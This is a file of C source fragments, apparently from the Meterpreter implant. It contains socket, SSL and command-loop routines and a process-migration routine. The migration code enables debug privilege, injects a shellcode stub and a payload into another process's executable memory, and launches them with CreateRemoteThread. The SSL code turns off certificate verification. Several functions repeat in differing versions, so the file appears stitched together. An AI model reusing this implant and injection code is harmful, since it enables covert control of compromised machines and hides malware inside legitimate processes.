// Flush all pending data on the connected socket before doing SSL static void flush_socket(Remote *remote) { fd_set fdread; DWORD ret; SOCKET fd; unsigned char buff[4096]; fd = remote_get_fd(remote); while (1) { struct timeval tv; LONG data; FD_ZERO(&fdread); FD_SET(fd, &fdread); // Wait for up to one second for any errant socket data to appear tv.tv_sec = 1; tv.tv_usec = 0; data = select(fd + 1, &fdread, NULL, NULL, &tv); if(data == 0) break; ret = recv(fd, buff, sizeof(buff), 0); dprintf("Flushed %d bytes from the buffer"); continue; } }
/* * Poll a socket for data to recv and block when none available. */ static LONG server_socket_poll( Remote * remote, long timeout ) { struct timeval tv; LONG result; fd_set fdread; SOCKET fd; lock_acquire( remote->lock ); fd = remote_get_fd( remote ); FD_ZERO( &fdread ); FD_SET( fd, &fdread ); tv.tv_sec = 0; tv.tv_usec = timeout; result = select((int)fd + 1, &fdread, NULL, NULL, &tv ); #ifndef _WIN32 // Handle EAGAIN, etc. if(result == -1) { if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) { result = 0; } } #endif lock_release( remote->lock ); return result; }
/* * Negotiate SSL on the socket. */ static BOOL server_negotiate_ssl(Remote *remote) { BOOL success = TRUE; SOCKET fd = 0; DWORD ret = 0; lock_acquire( remote->lock ); do { fd = remote_get_fd(remote); remote->meth = SSLv3_client_method(); remote->ctx = SSL_CTX_new(remote->meth); SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY); remote->ssl = SSL_new(remote->ctx); SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL); if( SSL_set_fd(remote->ssl, remote->fd) == 0 ) { dprintf("[SERVER] set fd failed"); success = FALSE; break; } if( (ret = SSL_connect(remote->ssl)) != 1 ) { dprintf("[SERVER] connect failed %d\n", SSL_get_error(remote->ssl, ret)); success = FALSE; break; } dprintf("[SERVER] Sending a HTTP GET request to the remote side..."); if( (ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0 ) { dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret)); } } while(0); lock_release( remote->lock ); dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret); if( ret < 0 ) success = FALSE; return success; }
/* * Process console commands in a loop * * I would use the scheduler but allowing the file descriptor to drop * into non-blocking mode makes things annoying. */ VOID console_process_commands(Remote *remote) { SOCKET fd = remote_get_fd(remote); struct timeval tv; fd_set fdread; LONG r; console_write_prompt(); // Execute the scheduler in a loop while (1) { FD_ZERO(&fdread); FD_SET(fd, &fdread); tv.tv_sec = 0; tv.tv_usec = 100; if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0) { LONG bytes = 0; ioctlsocket(fd, FIONREAD, &bytes); if (bytes == 0) { console_write_output( "\n" "Connection reset by peer.\n"); break; } command_process_remote(remote, NULL); } else if (r < 0) break; scheduler_run(remote, 0); } }
/* * Negotiate SSL on the socket */ static DWORD negotiate_ssl(Remote *remote) { DWORD hres = ERROR_SUCCESS; SOCKET fd = remote_get_fd(remote); DWORD ret; SSL_load_error_strings(); SSL_library_init(); remote->meth = TLSv1_client_method(); remote->ctx = SSL_CTX_new(remote->meth); SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY); remote->ssl = SSL_new(remote->ctx); SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL); if (SSL_set_fd(remote->ssl, remote->fd) == 0) { perror("set fd failed"); exit(1); } if ((ret = SSL_connect(remote->ssl)) != 1) { printf("connect failed %d\n", SSL_get_error(remote->ssl, ret)); exit(1); } dprintf("Sending a HTTP GET request to the remote side..."); if((ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0) { dprintf("SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret)); } dprintf("Completed writing the HTTP GET request: %d", ret); if(ret < 0) ExitThread(0); return(0); }
/* * Flush all pending data on the connected socket before doing SSL. */ static VOID server_socket_flush( Remote * remote ) { fd_set fdread; DWORD ret; SOCKET fd; char buff[4096]; lock_acquire( remote->lock ); fd = remote_get_fd(remote); while (1) { struct timeval tv; LONG data; FD_ZERO(&fdread); FD_SET(fd, &fdread); // Wait for up to one second for any errant socket data to appear tv.tv_sec = 1; tv.tv_usec = 0; data = select((int)fd + 1, &fdread, NULL, NULL, &tv); if(data == 0) break; ret = recv(fd, buff, sizeof(buff), 0); dprintf("[SERVER] Flushed %d bytes from the buffer", ret); // The socket closed while we waited if(ret == 0) { break; } continue; } lock_release( remote->lock ); }
/* * Poll a socket for data to recv and block when none available. */ static LONG server_socket_poll( Remote * remote, long timeout ) { struct timeval tv; LONG result; fd_set fdread; SOCKET fd; lock_acquire( remote->lock ); fd = remote_get_fd( remote ); FD_ZERO( &fdread ); FD_SET( fd, &fdread ); tv.tv_sec = 0; tv.tv_usec = timeout; result = select( fd + 1, &fdread, NULL, NULL, &tv ); lock_release( remote->lock ); return result; }
/* * Monitor for requests and local waitable items in the scheduler */ static DWORD monitor_loop(Remote *remote) { DWORD hres = ERROR_SUCCESS; SOCKET fd = remote_get_fd(remote); fd_set fdread; /* * Read data locally and remotely */ while (1) { struct timeval tv; LONG data; FD_ZERO(&fdread); FD_SET(fd, &fdread); tv.tv_sec = 0; tv.tv_usec = 100; data = select(fd + 1, &fdread, NULL, NULL, &tv); if (data > 0) { if ((hres = command_process_remote(remote, NULL)) != ERROR_SUCCESS) break; } else if (data < 0) break; // Process local scheduler items scheduler_run(remote, 0); } return hres; }
DWORD remote_request_core_migrate(Remote *remote, Packet *packet) { MigrationStubContext context; TOKEN_PRIVILEGES privs; HANDLE token = NULL; Packet *response = packet_create_response(packet); HANDLE process = NULL; HANDLE thread = NULL; HANDLE event = NULL; LPVOID dataBase; LPVOID codeBase; DWORD threadId; DWORD result = ERROR_SUCCESS; DWORD pid; PUCHAR payload; // Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer). BYTE stub[] = "\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext * "\x89\xE5" // mov ebp,esp ; create stack frame "\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack "\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32 "\x51" // push ecx ; push "ws2_32" "\xFF\x16" // call near [esi] ; call loadLibrary "\x54" // push esp ; push stack address "\x6A\x02" // push byte +0x2 ; push 2 "\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup "\x6A\x00" // push byte +0x0 ; push null "\x6A\x00" // push byte +0x0 ; push null "\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info "\x50" // push eax ; push our duplicated socket "\x6A\x00" // push byte +0x0 ; push null "\x6A\x02" // push byte +0x2 ; push 2 "\x6A\x01" // push byte +0x1 ; push 1 "\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket "\x97" // xchg eax,edi ; edi now = our duplicated socket "\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event "\xFF\x56\x18" // call near [esi+0x18] ; call setevent "\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase "\xC3"; // ret ; return into the payload // Get the process identifier to inject into pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer... context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload (metsrv.dll + loader) payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Try to enable the debug privilege so that we can migrate into system // services if we're administrator. if (OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { privs.PrivilegeCount = 1; privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privs.Privileges[0].Luid); AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL); CloseHandle(token); } do { // Open the process so that we can into it if (!(process = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid))) { result = GetLastError(); break; } // If the socket duplication fails... if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR) { result = WSAGetLastError(); break; } // Create a notification event that we'll use to know when // it's safe to exit (once the socket has been referenced in // the other process) if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL))) { result = GetLastError(); break; } // Duplicate the event handle into the target process if (!DuplicateHandle(GetCurrentProcess(), event, process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS)) { result = GetLastError(); break; } // Initialize the migration context context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"); context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup"); context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA"); context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv"); context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent"); strcpy(context.ws2_32, "ws2_32"); // Allocate storage for the stub and context if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload... if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Initialize the data and code base in the target process codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext); if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL)) { result = GetLastError(); break; } // Send a successful response to let them know that we've pretty much // successfully migrated and are reaching the point of no return packet_transmit_response(result, remote, response); // XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket. // Shut down our SSL session // ssl_close_notify(&remote->ssl); // ssl_free(&remote->ssl); response = NULL; // Create the thread in the remote process if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId))) { result = GetLastError(); ExitThread(result); } // Wait at most 5 seconds for the event to be set letting us know that // it's finished if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0) { result = GetLastError(); ExitThread(result); } // Exit the current process now that we've migrated to another one dprintf("Shutting down the Meterpreter thread..."); ExitThread(0); } while (0); // If we failed and have not sent the response, do so now if (result != ERROR_SUCCESS && response) packet_transmit_response(result, remote, response); // Cleanup if (process) CloseHandle(process); if (thread) CloseHandle(thread); if (event) CloseHandle(event); return ERROR_SUCCESS; }